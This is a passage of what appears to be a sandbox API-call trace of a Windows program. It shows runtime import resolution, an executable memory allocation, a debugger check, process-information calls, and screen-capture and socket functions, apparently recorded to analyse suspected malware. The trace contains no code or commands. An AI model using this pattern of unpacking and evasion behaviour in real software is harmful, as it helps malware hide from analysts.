lpProcName="GetTickCount") returned 0x76e2110c [0119.686] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.686] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.687] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.687] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bcd8500, dwHighDateTime=0x1d5ca1f)) [0119.687] GetCurrentProcessId () returned 0x141c [0119.687] GetCurrentThreadId () returned 0x1420 [0119.687] GetTickCount () returned 0x1165bc7 [0119.687] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26079719277) returned 1 [0119.687] malloc (_Size=0x80) returned 0x10bd350 [0119.689] VirtualAlloc (lpAddress=0x0, dwSize=0x27c8, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0119.689] LoadLibraryA (lpLibFileName="kernel32") returned 0x76e10000 [0119.689] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileA") returned 0x76e253c6 [0119.690] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0119.690] LoadLibraryA (lpLibFileName="user32") returned 0x76780000 [0119.691] GetProcAddress (hModule=0x76780000, lpProcName="MessageBoxA") returned 0x767efd1e [0119.691] GetProcAddress (hModule=0x76780000, lpProcName="wsprintfA") returned 0x767aae5f [0119.691] LoadLibraryA (lpLibFileName="Ntdll") returned 0x77320000 [0119.691] GetProcAddress (hModule=0x77320000, lpProcName="NtSetInformationThread") returned 0x7733f99c [0119.691] GetProcAddress (hModule=0x77320000, lpProcName="NtSetInformationProcess") returned 0x7733fb18 [0119.691] GetProcAddress (hModule=0x77320000, lpProcName="NtQueryInformationProcess") returned 0x7733fac8 [0119.691] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x22, ProcessInformation=0x3a26c3, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x3a26c3, ReturnLength=0x0) returned 0x80000002 [0119.691] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x22, ProcessInformation=0x3a26c3, ProcessInformationLength=0x4) returned 0x80000002 [0119.691] VirtualAlloc (lpAddress=0x0, dwSize=0xce1c8, flAllocationType=0x1000, flProtect=0x4) returned 0xfa0000 [0119.779] VirtualAlloc (lpAddress=0x0, dwSize=0x37360, flAllocationType=0x1000, flProtect=0x4) returned 0x3b0000 [0119.930] VirtualFree (lpAddress=0x3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.932] GetModuleHandleA (lpModuleName="WSOCK32.dll") returned 0x73c50000 [0119.932] GetProcAddress (hModule=0x73c50000, lpProcName=0x14) returned 0x753634b5 [0119.932] GetProcAddress (hModule=0x73c50000, lpProcName=0x11) returned 0x73c51808 [0119.932] GetProcAddress (hModule=0x73c50000, lpProcName=0x2) returned 0x75364582 [0119.932] GetProcAddress (hModule=0x73c50000, lpProcName=0xd) returned 0x7536b001 [0119.932] GetProcAddress (hModule=0x73c50000, lpProcName=0x1) returned 0x753668b6 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0xe) returned 0x75362d57 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0xc) returned 0x75363084 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x71) returned 0x75375343 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x74) returned 0x75363c5f [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x73) returned 0x75363ab2 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x7) returned 0x73c5186e [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x37) returned 0x75376ef3 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0xf) returned 0x75362d8b [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x9) returned 0x75362d8b [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x8) returned 0x75362d57 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x17) returned 0x75363eb8 [0119.933] GetProcAddress (hModule=0x73c50000, lpProcName=0x15) returned 0x73c518e0 [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x4) returned 0x75366bdd [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x13) returned 0x75366f01 [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x70) returned 0x753637d9 [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x10) returned 0x73c517a8 [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x6f) returned 0x753637ad [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x16) returned 0x7536449d [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x34) returned 0x75377673 [0119.934] GetProcAddress (hModule=0x73c50000, lpProcName=0x3) returned 0x75363918 [0119.934] GetModuleHandleA (lpModuleName="GDI32.dll") returned 0x752d0000 [0119.934] GetProcAddress (hModule=0x752d0000, lpProcName="CreateCompatibleDC") returned 0x752e54f4 [0119.934] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0119.934] GetProcAddress (hModule=0x752d0000, lpProcName="CreateCompatibleBitmap") returned 0x752e5f49 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="SelectObject") returned 0x752e4f70 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="GetObjectA") returned 0x752e85d4 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="BitBlt") returned 0x752e5ea6 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="GetBitmapBits") returned 0x752ec155 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="DeleteObject") returned 0x752e5689 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="DeleteDC") returned 0x752e58b3 [0119.935] GetProcAddress (hModule=0x752d0000, lpProcName="CreateDCA") returned 0x752e7bcc [0119.935] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x754b0000 [0119.935] GetProcAddress (hModule=0x754b0000, lpProcName="ReportEventA") returned 0x754b3ee9 [0119.935] GetProcAddress (hModule=0x754b0000, lpProcName="DeregisterEventSource") returned 0x754c35dd [0119.935] GetProcAddress (hModule=0x754b0000, lpProcName="RegisterEventSourceA") returned 0x754c2d46 [0119.935] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76780000 [0119.936] GetProcAddress (hModule=0x76780000, lpProcName="MessageBoxA") returned 0x767efd1e [0119.936] GetProcAddress (hModule=0x76780000, lpProcName="GetDesktopWindow") returned 0x767a0a19 [0119.936] GetProcAddress (hModule=0x76780000, lpProcName="GetProcessWindowStation") returned 0x76799eea [0119.936] GetProcAddress (hModule=0x76780000, lpProcName="GetUserObjectInformationW") returned 0x76798068 [0119.936] GetModuleHandleA (lpModuleName="zlib1.dll") returned 0x5a4c0000 [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="zError") returned 0x5a4c8c2d [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="inflate") returned 0x5a4c597c [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="deflate") returned 0x5a4c2a91 [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="inflateEnd") returned 0x5a4c6c34 [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="deflateEnd") returned 0x5a4c19af [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="inflateInit_") returned 0x5a4c581b [0119.936] GetProcAddress (hModule=0x5a4c0000, lpProcName="deflateInit_") returned 0x5a4c34d6 [0119.937] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="localtime") returned 0x76b57511 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="gmtime") returned 0x76bc2929 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="strncpy") returned 0x76b508a9 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="_lrotl") returned 0x76ba6b5e [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="memcmp") returned 0x76b57975 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="_lrotr") returned 0x76ba6bb4 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="_read") returned 0x76b5c245 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="_write") returned 0x76b54078 [0119.937] GetProcAddress (hModule=0x76b40000, lpProcName="isxdigit") returned 0x76b51070 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="isdigit") returned 0x76b4b407 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="fprintf") returned 0x76b53e00 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="strlen") returned 0x76b543d3 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="fputs") returned 0x76b66c38 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="fclose") returned 0x76b53d79 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="ferror") returned 0x76b54947 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="fread") returned 0x76b5f3c8 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="fwrite") returned 0x76b576ac [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="_setmode") returned 0x76b5cc73 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="_fileno") returned 0x76b4ac15 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="fopen") returned 0x76b5b2c4 [0119.938] GetProcAddress (hModule=0x76b40000, lpProcName="strcat") returned 0x76b58d75 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="fseek") returned 0x76b5f606 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="ftell") returned 0x76b622ea [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="feof") returned 0x76b5c9ea [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="fflush") returned 0x76b54142 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="fgets") returned 0x76b64589 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="strcmp") returned 0x76b58b11 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="atoi") returned 0x76b4dbe0 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="perror") returned 0x76ba9239 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="_ftime") returned 0x76b687c3 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="qsort") returned 0x76b4d3e6 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="_stat") returned 0x76b59857 [0119.939] GetProcAddress (hModule=0x76b40000, lpProcName="_chmod") returned 0x76b93daf [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="strerror") returned 0x76b67a18 [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="isalnum") returned 0x76b50fdc [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="isspace") returned 0x76b4c395 [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="strncmp") returned 0x76b4b443 [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="tolower") returned 0x76b4c4f0 [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="isupper") returned 0x76b5c1ca [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="strrchr") returned 0x76b4dbae [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="sscanf") returned 0x76b5ed4c [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="exit") returned 0x76b536aa [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="strtol") returned 0x76b6e8f0 [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="signal") returned 0x76b6823c [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="_getch") returned 0x76b9f719 [0119.940] GetProcAddress (hModule=0x76b40000, lpProcName="printf") returned 0x76b5c5b9 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="memset") returned 0x76b49790 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="time") returned 0x76b4f708 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="memchr") returned 0x76b5e134 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="memcpy") returned 0x76b49910 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="malloc") returned 0x76b49cee [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="realloc") returned 0x76b4b10d [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="free") returned 0x76b49894 [0119.941] GetProcAddress (hModule=0x76b40000, lpProcName="abort") returned 0x76ba8e53 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="vfprintf") returned 0x76bb7408 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="wcsstr") returned 0x76b4bf71 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="getenv") returned 0x76b5a419 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="strtoul") returned 0x76b5012e [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="sprintf") returned 0x76b5d354 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="strcpy") returned 0x76b58d6e [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="_iob") returned 0x76be2900 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="strchr") returned 0x76b4dbeb [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="_vsnprintf") returned 0x76b4d1a8 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="_errno") returned 0x76b4a5b8 [0119.942] GetProcAddress (hModule=0x76b40000, lpProcName="strstr") returned 0x76b4de4a [0119.942] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThread") returned 0x76e217ec [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleA") returned 0x76e21245 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileA") returned 0x76e2e2ce [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryA") returned 0x76e249d7 [0119.943] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetThreadTimes") returned 0x76ea53eb [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount") returned 0x76e2110c [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0119.944] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedCompareExchange") returned 0x76e21484 [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="InterlockedExchange") returned 0x76e21462 [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="FlushConsoleInputBuffer") returned 0x76ec7a9f [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersionExA") returned 0x76e23519 [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0119.945] GetProcAddress (hModule=0x76e10000, lpProcName="GlobalMemoryStatus") returned 0x76e28b6d [0119.945] VirtualProtect (in: lpAddress=0xea0000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xdaf9e0 | out: lpflOldProtect=0xdaf9e0*=0x2) returned 1 [0119.945] VirtualProtect (in: lpAddress=0xea0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xdaf9e0 | out: lpflOldProtect=0xdaf9e0*=0x4) returned 1 [0119.945] VirtualProtect (in: lpAddress=0xea0000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xdaf9e0 | out: lpflOldProtect=0xdaf9e0*=0x2) returned 1 [0119.946] VirtualProtect (in: lpAddress=0xea0000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0xdaf9e0 | out: lpflOldProtect=0xdaf9e0*=0x4) returned 1 [0119.946] VirtualFree (lpAddress=0xfa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.947] VirtualFree (lpAddress=0x3a09c8, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.947] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdafa0c | out: lpSystemTimeAsFileTime=0xdafa0c*(dwLowDateTime=0x9bf5fc60, dwHighDateTime=0x1d5ca1f)) [0119.947] GetCurrentProcessId () returned 0x141c [0119.947] GetCurrentThreadId () returned 0x1420 [0119.947] GetTickCount () returned 0x1165cd0 [0119.947] QueryPerformanceCounter (in: lpPerformanceCount=0xdafa04 | out: lpPerformanceCount=0xdafa04*=26105742032) returned 1 [0119.948] malloc (_Size=0x80) returned 0x10bd3d8 [0119.948] GetVersion () returned 0x1db10106 [0119.948] getenv (_VarName="OPENSSL_ia32cap") returned 0x0 [0119.961] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.961] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.961] VirtualProtect (in: lpAddress=0x24015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.961] VirtualProtect (in: lpAddress=0x24015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.961] GetModuleHandleA (lpModuleName="LIBEAY32.dll") returned 0xea0000 [0119.961] GetProcAddress (hModule=0xea0000, lpProcName=0x34) returned 0xeda295 [0119.961] GetProcAddress (hModule=0xea0000, lpProcName=0x899) returned 0xee0997 [0119.961] GetProcAddress (hModule=0xea0000, lpProcName=0x121) returned 0xee6266 [0119.961] GetProcAddress (hModule=0xea0000, lpProcName=0x1ed) returned 0xecabae [0119.961] GetProcAddress (hModule=0xea0000, lpProcName=0x38f) returned 0xedf3cd [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0x1d0) returned 0xee09c4 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xefc) returned 0xf1d2aa [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xcad) returned 0xea21b3 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0x162) returned 0xee30c7 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xb78) returned 0xee3f50 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xcac) returned 0xea15d6 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xf04) returned 0xed9ff1 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0x143) returned 0xee5ea2 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xbfb) returned 0xee4270 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xb4e) returned 0xee4237 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0x3c1) returned 0xee5a98 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xf22) returned 0xee5b78 [0119.962] GetProcAddress (hModule=0xea0000, lpProcName=0xf01) returned 0xee82b8 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0x59) returned 0xeda003 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0x6d) returned 0xeda09b [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xf27) returned 0xed9ff9 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xca) returned 0xecfa0f [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xca7) returned 0xed9cb6 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0x362) returned 0xeef09c [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0x6e) returned 0xec0cd5 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xd5e) returned 0xed6997 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xb71) returned 0xed0237 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xe3c) returned 0xed8eda [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xdf2) returned 0xecffe0 [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0xa12) returned 0xed06fc [0119.963] GetProcAddress (hModule=0xea0000, lpProcName=0x6f) returned 0xec0c80 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xbc2) returned 0xed028f [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xd98) returned 0xed9ff1 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xb6c) returned 0xed01ab [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xd83) returned 0xed6e99 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xdb8) returned 0xed6e6e [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xe18) returned 0xf1d2aa [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xdf7) returned 0xed9fd1 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xe4f) returned 0xed6946 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0x7b) returned 0xec01d0 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xc9) returned 0xecf56d [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0x76) returned 0xec055e [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xe52) returned 0xed9b23 [0119.964] GetProcAddress (hModule=0xea0000, lpProcName=0xdb) returned 0xecdbaa [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x1f2) returned 0xecb059 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x11d) returned 0xee64da [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x27b) returned 0xf018a6 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x38d) returned 0xedf76c [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x390) returned 0xedf538 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0xae0) returned 0xeac5ff [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x3c5) returned 0xeac572 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x3c4) returned 0xeac559 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x100) returned 0xee5b17 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x112) returned 0xee4756 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0x114) returned 0xee428e [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0xf3b) returned 0xefe128 [0119.965] GetProcAddress (hModule=0xea0000, lpProcName=0xa0c) returned 0xeac3bf [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xcf3) returned 0xee5f2c [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xb6f) returned 0xee534a [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xabb) returned 0xeac5da [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xe8c) returned 0xee5ffb [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0x139) returned 0xee5fac [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0x1ef) returned 0xecaec6 [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xf2b) returned 0xee82c9 [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0x78) returned 0xec0636 [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0x97) returned 0xec01ae [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xc6a) returned 0xed0697 [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xe6f) returned 0xf135e2 [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xdde) returned 0xed6b8c [0119.966] GetProcAddress (hModule=0xea0000, lpProcName=0xd5a) returned 0xed6b63 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xcb) returned 0xecf560 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0x80) returned 0xec09a8 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0x1f) returned 0xeebee7 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0x33e) returned 0xecf39b [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0x2d7) returned 0xecf380 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xac8) returned 0xeccdf2 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0x11a) returned 0xee653b [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0x23c) returned 0xefe2f6 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xc5d) returned 0xee413d [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xda1) returned 0xed9d78 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xe87) returned 0xed9ae7 [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xd8) returned 0xecdb0b [0119.967] GetProcAddress (hModule=0xea0000, lpProcName=0xce) returned 0xecfb56 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x1f1) returned 0xecac26 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0xfce) returned 0xf14823 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0xe62) returned 0xed6ec4 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0xb3d) returned 0xed0b1a [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0xe7f) returned 0xed4e1f [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0xcd) returned 0xecfb70 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x1e6) returned 0xeccf73 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x1e4) returned 0xecccf5 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x2fb) returned 0xeef081 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x241) returned 0xeef0c0 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x38b) returned 0xedf3e4 [0119.968] GetProcAddress (hModule=0xea0000, lpProcName=0x57) returned 0xeda3c7 [0119.968] GetProcAddress 